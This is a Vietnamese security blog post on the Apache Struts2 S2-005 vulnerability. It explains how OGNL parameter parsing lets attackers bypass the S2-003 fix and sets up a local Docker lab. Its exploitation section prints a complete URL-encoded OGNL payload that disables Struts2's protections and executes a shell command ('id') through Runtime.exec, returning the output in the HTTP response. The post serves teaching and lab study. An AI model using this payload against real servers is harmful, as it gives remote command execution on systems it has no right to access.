HuuTuan .Info

Chia sẻ ATTT - CNTT - Đồ họa

Lỗ hổng bảo mật trên Apache Struts2 (S2-005)


1. Mô tả:

Trong bài trước chúng ta đã tìm hiểu về lỗ hổng s2-001 và struts 2 devmode hôm nay chúng ta sẽ tìm hiểu về lỗ hổng s2-005.


S2-005 thực chất là một lỗ hổng có nguồn gốc từ S2-003 (version: <2.0.12), Việc khắc phục S2-003 đã được thực hiện, nhưng hóa ra việc khắc phục chỉ lại dựa trên các tham số trong whitelist vì vậy điều này chỉ có thể khắc phục 1 phần

2. Cách hoạt động:

XWork sẽ parse các key, value của tham số GET thành các câu lệnh Java bằng các biểu thức OGNL, chẳng hạn như:


user.address.city=Bishkek&user['favoriteDrink']=kumys 
//It will be converted to
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")   
quy trình như sau
  1. Trong S2-003 Sử dụng \u0023 để bypass bộ lọc của struts2
  2. Sau S2-003 struts2 thêm chế độ bảo mật (sanbox)
  3. Trong S2-005 sử dụng biểu thức OGNL để đóng chế độ bảo mật và ta lại có thể bypass

3. Thiết lập lab khai thác lỗ hổng

Chạy câu lệnh sau:

docker-compose build
docker-compose up -d
Truy cập http://127.0.0.1:8080 hoặc http://your_ip:8080

4. Khai thác lỗ hổng

Payload:

%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29


Ta thu được kết quả như hình trên.

0 Response to "Lỗ hổng bảo mật trên Apache Struts2 (S2-005)"

Post a Comment

Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !

Quảng Cáo TOP

Quảng Cáo TOP 1

Quảng Cáo TOP 2

Quảng Cáo TOP